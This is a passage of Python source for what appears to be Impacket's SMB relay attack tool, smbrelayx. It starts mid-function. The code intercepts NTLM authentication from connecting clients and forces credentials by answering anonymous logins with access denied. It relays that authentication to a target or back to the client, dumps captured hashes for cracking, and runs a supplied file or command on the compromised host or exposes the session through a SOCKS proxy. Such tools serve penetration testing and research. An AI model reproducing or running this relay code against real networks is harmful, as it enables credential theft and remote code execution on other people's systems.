SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob']) 802 token = blob['ResponseToken'] 803 else: 804 # NEGOTIATE packet 805 blob = SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob']) 806 token = blob['MechToken'] 807 808 # Here we only handle NTLMSSP, depending on what stage of the 809 # authentication we are, we act on it 810 messageType = unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0] 811 812 if messageType == 0x01: 813 # NEGOTIATE_MESSAGE 814 negotiateMessage = NTLMAuthNegotiate() 815 negotiateMessage.fromString(token) 816 # Let's store it in the connection data 817 connData['NEGOTIATE_MESSAGE'] = negotiateMessage 818 819 ############################################################# 820 # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client. 821 # Let's send it to the target server and send the answer back to the client. 822 823 # Let's check if we already attacked this host. 824 global ATTACKED_HOSTS 825 if self.target in ATTACKED_HOSTS and self.one_shot is True: 826 logging.info("SMBD: Received connection from %s, skipping %s, already attacked" % ( 827 connData['ClientIP'], self.target)) 828 packet = NewSMBPacket() 829 packet['Flags1'] = SMB.FLAGS1_REPLY 830 packet['Flags2'] = SMB.FLAGS2_NT_STATUS 831 packet['Command'] = recvPacket['Command'] 832 packet['Pid'] = recvPacket['Pid'] 833 packet['Tid'] = recvPacket['Tid'] 834 packet['Mid'] = recvPacket['Mid'] 835 packet['Uid'] = recvPacket['Uid'] 836 packet['Data'] = b'\x00\x00\x00' 837 errorCode = STATUS_NOT_SUPPORTED 838 packet['ErrorCode'] = errorCode >> 16 839 packet['ErrorClass'] = errorCode & 0xff 840 841 return None, [packet], STATUS_NOT_SUPPORTED 842 843 # It might happen if the target connects back before a previous connection has finished, we might 844 # get to this function w/o having the dict and smbClient entry created, because a 845 # NEGOTIATE_CONNECTION was not needed 846 if (self.target in smbData) is False: 847 smbData[self.target] = {} 848 smbClient = SMBClient(self.target) 849 smbClient.setDomainAccount(self.machineAccount, self.machineHashes, self.domainIp) 850 smbClient.set_timeout(60) 851 smbData[self.target]['SMBClient'] = smbClient 852 853 smbClient = smbData[self.target]['SMBClient'] 854 clientChallengeMessage = smbClient.sendNegotiate(token) 855 challengeMessage = NTLMAuthChallenge() 856 challengeMessage.fromString(clientChallengeMessage) 857 ############################################################# 858 859 respToken = SPNEGO_NegTokenResp() 860 # accept-incomplete. We want more data 861 respToken['NegResult'] = b'\x01' 862 respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] 863 864 respToken['ResponseToken'] = challengeMessage.getData() 865 866 # Setting the packet to STATUS_MORE_PROCESSING 867 errorCode = STATUS_MORE_PROCESSING_REQUIRED 868 # Let's set up an UID for this connection and store it 869 # in the connection's data 870 # Picking a fixed value 871 # TODO: Manage more UIDs for the same session 872 connData['Uid'] = 10 873 # Let's store it in the connection data 874 connData['CHALLENGE_MESSAGE'] = challengeMessage 875 876 elif messageType == 0x03: 877 # AUTHENTICATE_MESSAGE, here we deal with authentication 878 879 ############################################################# 880 # SMBRelay: Ok, so now the have the Auth token, let's send it 881 # back to the target system and hope for the best. 882 smbClient = smbData[self.target]['SMBClient'] 883 authenticateMessage = NTLMAuthChallengeResponse() 884 authenticateMessage.fromString(token) 885 if authenticateMessage['user_name'] != '': 886 clientResponse, errorCode = smbClient.sendAuth(connData['CHALLENGE_MESSAGE']['challenge'], 887 sessionSetupData['SecurityBlob']) 888 else: 889 # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials 890 errorCode = STATUS_ACCESS_DENIED 891 892 if errorCode != STATUS_SUCCESS: 893 # Let's return what the target returned, hope the client connects back again 894 packet = NewSMBPacket() 895 packet['Flags1'] = SMB.FLAGS1_REPLY | SMB.FLAGS1_PATHCASELESS 896 packet['Flags2'] = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_EXTENDED_SECURITY 897 packet['Command'] = recvPacket['Command'] 898 packet['Pid'] = recvPacket['Pid'] 899 packet['Tid'] = recvPacket['Tid'] 900 packet['Mid'] = recvPacket['Mid'] 901 packet['Uid'] = recvPacket['Uid'] 902 packet['Data'] = b'\x00\x00\x00' 903 packet['ErrorCode'] = errorCode >> 16 904 packet['ErrorClass'] = errorCode & 0xff 905 # Reset the UID 906 smbClient.setUid(0) 907 logging.error("Authenticating against %s as %s\\%s FAILED" % ( 908 self.target, authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))) 909 # del (smbData[self.target]) 910 return None, [packet], errorCode 911 else: 912 # We have a session, create a thread and do whatever we want 913 logging.info("Authenticating against %s as %s\\%s SUCCEED" % ( 914 self.target, authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))) 915 ntlm_hash_data = outputToJohnFormat(connData['CHALLENGE_MESSAGE']['challenge'], 916 authenticateMessage['user_name'], 917 authenticateMessage['domain_name'], 918 authenticateMessage['lanman'], authenticateMessage['ntlm']) 919 logging.info(ntlm_hash_data['hash_string']) 920 if self.server.getJTRdumpPath() != '': 921 writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], 922 self.server.getJTRdumpPath()) 923 924 # Target will be attacked, adding to the attacked set 925 # If the attack fails, the doAttack thread will be responsible of removing it from the set 926 ATTACKED_HOSTS.add(self.target) 927 if self.runSocks is True: 928 # Pass all the data to the socksplugins proxy 929 protocolClient = SMBRelayClient(None, urlparse('smb://%s' % self.target)) 930 protocolClient.session = SMBConnection(existingConnection=smbClient) 931 activeConnections.put((self.target, 445, 'SMB', 932 ('%s/%s' % ( 933 authenticateMessage['domain_name'].decode('utf-16le'), 934 authenticateMessage['user_name'].decode('utf-16le'))).upper(), 935 protocolClient, connData)) 936 logging.info("Adding %s(445) to active SOCKS connection. Enjoy" % self.target) 937 del (smbData[self.target]) 938 else: 939 del (smbData[self.target]) 940 clientThread = doAttack(smbClient,self.exeFile,self.command) 941 clientThread.start() 942 943 944 # Now continue with the server 945 ############################################################# 946 947 # Return status code of the authentication process. 948 errorCode = self.returnStatus 949 logging.info("Sending status code %s after authentication to %s" % ( 950 ERROR_MESSAGES[self.returnStatus][0], connData['ClientIP'])) 951 952 respToken = SPNEGO_NegTokenResp() 953 # accept-completed 954 respToken['NegResult'] = b'\x00' 955 956 # Status SUCCESS 957 # Let's store it in the connection data 958 connData['AUTHENTICATE_MESSAGE'] = authenticateMessage 959 else: 960 raise Exception("Unknown NTLMSSP MessageType %d" % messageType) 961 962 respParameters['SecurityBlobLength'] = len(respToken) 963 964 respData['SecurityBlobLength'] = respParameters['SecurityBlobLength'] 965 respData['SecurityBlob'] = respToken.getData() 966 967 else: 968 # Process Standard Security 969 respParameters = SMBSessionSetupAndXResponse_Parameters() 970 respData = SMBSessionSetupAndXResponse_Data() 971 sessionSetupParameters = SMBSessionSetupAndX_Parameters(smbCommand['Parameters']) 972 sessionSetupData = SMBSessionSetupAndX_Data() 973 sessionSetupData['AnsiPwdLength'] = sessionSetupParameters['AnsiPwdLength'] 974 sessionSetupData['UnicodePwdLength'] = sessionSetupParameters['UnicodePwdLength'] 975 sessionSetupData.fromString(smbCommand['Data']) 976 connData['Capabilities'] = sessionSetupParameters['Capabilities'] 977 ############################################################# 978 # SMBRelay 979 smbClient = smbData[self.target]['SMBClient'] 980 if sessionSetupData['Account'] != '': 981 clientResponse, errorCode = smbClient.login_standard(sessionSetupData['Account'], 982 sessionSetupData['PrimaryDomain'], 983 sessionSetupData['AnsiPwd'], 984 sessionSetupData['UnicodePwd']) 985 else: 986 # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials 987 errorCode = STATUS_ACCESS_DENIED 988 989 if errorCode != STATUS_SUCCESS: 990 # Let's return what the target returned, hope the client connects back again 991 packet = NewSMBPacket() 992 packet['Flags1'] = SMB.FLAGS1_REPLY | SMB.FLAGS1_PATHCASELESS 993 packet['Flags2'] = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_EXTENDED_SECURITY 994 packet['Command'] = recvPacket['Command'] 995 packet['Pid'] = recvPacket['Pid'] 996 packet['Tid'] = recvPacket['Tid'] 997 packet['Mid'] = recvPacket['Mid'] 998 packet['Uid'] = recvPacket['Uid'] 999 packet['Data'] = '\x00\x00\x00' 1000 packet['ErrorCode'] = errorCode >> 16 1001 packet['ErrorClass'] = errorCode & 0xff 1002 # Reset the UID 1003 smbClient.setUid(0) 1004 return None, [packet], errorCode 1005 # Now continue with the server 1006 else: 1007 # We have a session, create a thread and do whatever we want 1008 ntlm_hash_data = outputToJohnFormat(b'', sessionSetupData['Account'], sessionSetupData['PrimaryDomain'], 1009 sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd']) 1010 logging.info(ntlm_hash_data['hash_string']) 1011 if self.server.getJTRdumpPath() != '': 1012 writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], 1013 self.server.getJTRdumpPath()) 1014 # Target will be attacked, adding to the attacked set 1015 # If the attack fails, the doAttack thread will be responsible of removing it from the set 1016 ATTACKED_HOSTS.add(self.target) 1017 if self.runSocks is True: 1018 # Pass all the data to the socksplugins proxy 1019 protocolClient = SMBRelayClient(None, urlparse('smb://%s' % self.target)) 1020 protocolClient.session = SMBConnection(existingConnection=smbClient) 1021 activeConnections.put((self.target, 445, 'SMB', 1022 ('%s/%s' % ( 1023 sessionSetupData['PrimaryDomain'], 1024 sessionSetupData['Account'])).upper(), 1025 protocolClient, connData)) 1026 logging.info("Adding %s(445) to active SOCKS connection. Enjoy" % self.target) 1027 # Remove the target server from our connection list, the work is done 1028 del (smbData[self.target]) 1029 else: 1030 # Remove the target server from our connection list, the work is done 1031 del (smbData[self.target]) 1032 clientThread = doAttack(smbClient, self.exeFile, self.command) 1033 clientThread.start() 1034 # Now continue with the server 1035 1036 1037 ############################################################# 1038 1039 # Do the verification here, for just now we grant access 1040 # TODO: Manage more UIDs for the same session 1041 errorCode = self.returnStatus 1042 logging.info("Sending status code %s after authentication to %s" % ( 1043 ERROR_MESSAGES[self.returnStatus][0], connData['ClientIP'])) 1044 connData['Uid'] = 10 1045 respParameters['Action'] = 0 1046 1047 respData['NativeOS'] = smbServer.getServerOS() 1048 respData['NativeLanMan'] = smbServer.getServerOS() 1049 respSMBCommand['Parameters'] = respParameters 1050 respSMBCommand['Data'] = respData 1051 1052 # From now on, the client can ask for other commands 1053 connData['Authenticated'] = True 1054 ############################################################# 1055 # SMBRelay 1056 smbServer.setConnectionData('SMBRelay', smbData) 1057 ############################################################# 1058 smbServer.setConnectionData(connId, connData) 1059 1060 return [respSMBCommand], None, errorCode 1061 1062 def _start(self): 1063 self.server.serve_forever() 1064 1065 def run(self): 1066 logging.info("Setting up SMB Server") 1067 self._start() 1068 1069 def setTargets(self, targets): 1070 self.target = targets 1071 1072 def setExeFile(self, filename): 1073 self.exeFile = filename 1074 1075 def setCommand(self, command): 1076 self.command = command 1077 1078 def setSocks(self, socks): 1079 self.runSocks = socks 1080 1081 def setReturnStatus(self, returnStatus): 1082 # Specifies return status after successful relayed authentication to return 1083 # to the connecting client. This comes useful when we don't want the connecting 1084 # client to store successful credentials in his memory. Valid statuses: 1085 # STATUS_SUCCESS - denotes that the connecting client passed valid credentials, 1086 # which will make him store them accordingly. 1087 # STATUS_ACCESS_DENIED - may occur for instance when the client is not a Domain Admin, 1088 # and got configured Remote UAC, thus preventing connection to ADMIN$ 1089 # STATUS_LOGON_FAILURE - which will tell the connecting client that the passed credentials 1090 # are invalid. 1091 self.returnStatus = { 1092 'success' : STATUS_SUCCESS, 1093 'denied' : STATUS_ACCESS_DENIED, 1094 'logon_failure' : STATUS_LOGON_FAILURE 1095 }[returnStatus.lower()] 1096 1097 def setMode(self,mode, one_shot): 1098 self.mode = mode 1099 self.one_shot = one_shot 1100 1101 def setDomainAccount( self, machineAccount, machineHashes, domainIp): 1102 self.machineAccount = machineAccount 1103 self.machineHashes = machineHashes 1104 self.domainIp = domainIp 1105 1106 # Process command-line arguments. 1107 if __name__ == '__main__': 1108 1109 RELAY_SERVERS = ( SMBRelayServer, HTTPRelayServer ) 1110 # Init the example's logger theme 1111 logger.init() 1112 print(version.BANNER) 1113 parser = argparse.ArgumentParser(add_help=False, 1114 description="For every connection received, this module will try to SMB relay that " 1115 " connection to the target system or the original client") 1116 parser.add_argument("--help", action="help", help='show this help message and exit') 1117 parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') 1118 parser.add_argument('-h', action='store', metavar='HOST', 1119 help='Host to relay the credentials to, if not it will relay it back to the client') 1120 parser.add_argument('-s', action='store', choices={'success', 'denied', 'logon_failure'}, default='success', 1121 help='Status to return after client performed authentication. Default: "success".') 1122 parser.add_argument('-e', action='store', required=False, metavar='FILE', 1123 help='File to execute on the target system. If not specified, hashes will be dumped ' 1124 '(secretsdump.py must be in the same directory)') 1125 parser.add_argument('-c', action='store', type=str, required=False, metavar='COMMAND', 1126 help='Command to execute on target system. If not specified, hashes will be dumped ' 1127 '(secretsdump.py must be in the same directory)') 1128 parser.add_argument('-socks', action='store_true', default=False, 1129 help='Launch a SOCKS proxy for the connection relayed') 1130 parser.add_argument('-one-shot', action='store_true', default=False, 1131 help='After successful authentication, only execute the attack once for each target') 1132 parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\'s output (default ' 1133 '"%s"). If errors are detected, run chcp.com at the target, ' 1134 'map the result with ' 1135 'https://docs.python.org/2.4/lib/standard-encodings.html and then execute wmiexec.py ' 1136 'again with -codec and the corresponding codec ' % CODEC) 1137 parser.add_argument('-outputfile', action='store', 1138 help='base output filename for encrypted hashes. Suffixes will be added for ntlm and ntlmv2') 1139 parser.add_argument('-machine-account', action='store', required=False, 1140 help='Domain machine account to use when interacting with the domain to grab a session key for ' 1141 'signing, format is domain/machine_name') 1142 parser.add_argument('-machine-hashes', action="store", metavar="LMHASH:NTHASH", 1143 help='Domain machine hashes, format is LMHASH:NTHASH') 1144 parser.add_argument('-domain', action="store", help='Domain FQDN or IP to connect using NETLOGON') 1145 1146 try: 1147 options = parser.parse_args() 1148 except Exception as e: 1149 logging.error(str(e)) 1150 sys.exit(1) 1151 1152 if options.codec is not None: 1153 CODEC = options.codec 1154 1155 if options.debug is True: 1156 logging.getLogger().setLevel(logging.DEBUG) 1157 else: 1158 logging.getLogger().setLevel(logging.INFO) 1159 logging.getLogger('impacket.smbserver').setLevel(logging.ERROR) 1160 1161 1162 if options.h is not None: 1163 logging.info("Running in relay mode") 1164 mode = 'RELAY' 1165 targetSystem = options.h 1166 else: 1167 logging.info("Running in reflection mode") 1168 targetSystem = None 1169 mode = 'REFLECTION' 1170 1171 exeFile = options.e 1172 Command = options.c 1173 returnStatus = options.s 1174 1175 threads = set() 1176 1177 if options.socks is True: 1178 # Start a SOCKS proxy in the background 1179 s1 = SOCKS() 1180 socks_thread = Thread(target=s1.serve_forever) 1181 socks_thread.daemon = True 1182 socks_thread.start() 1183 threads.add(socks_thread) 1184 1185 for server in RELAY_SERVERS: 1186 s = server(options.outputfile) 1187 s.setTargets(targetSystem) 1188 s.setExeFile(exeFile) 1189 s.setCommand(Command) 1190 s.setSocks(options.socks) 1191 s.setReturnStatus(returnStatus) 1192 s.setMode(mode, options.one_shot) 1193 if options.machine_account is not None and options.machine_hashes is not None and options.domain is not None: 1194 s.setDomainAccount( options.machine_account, options.machine_hashes, options.domain) 1195 elif (options.machine_account is None and options.machine_hashes is None and options.domain is None) is False: 1196 logging.error("You must specify machine-account/hashes/domain all together!") 1197 sys.exit(1) 1198 1199 s.start() 1200 threads.add(s) 1201 1202 print("") 1203 logging.info("Servers started, waiting for connections") 1204 while True: 1205 try: 1206 sys.stdin.read() 1207 except KeyboardInterrupt: 1208 logging.info('Quitting.. please wait') 1209 if options.socks is True: 1210 s1.shutdown() 1211 for s in threads: 1212 del(s) 1213 sys.exit(1) 1214 else: 1215 pass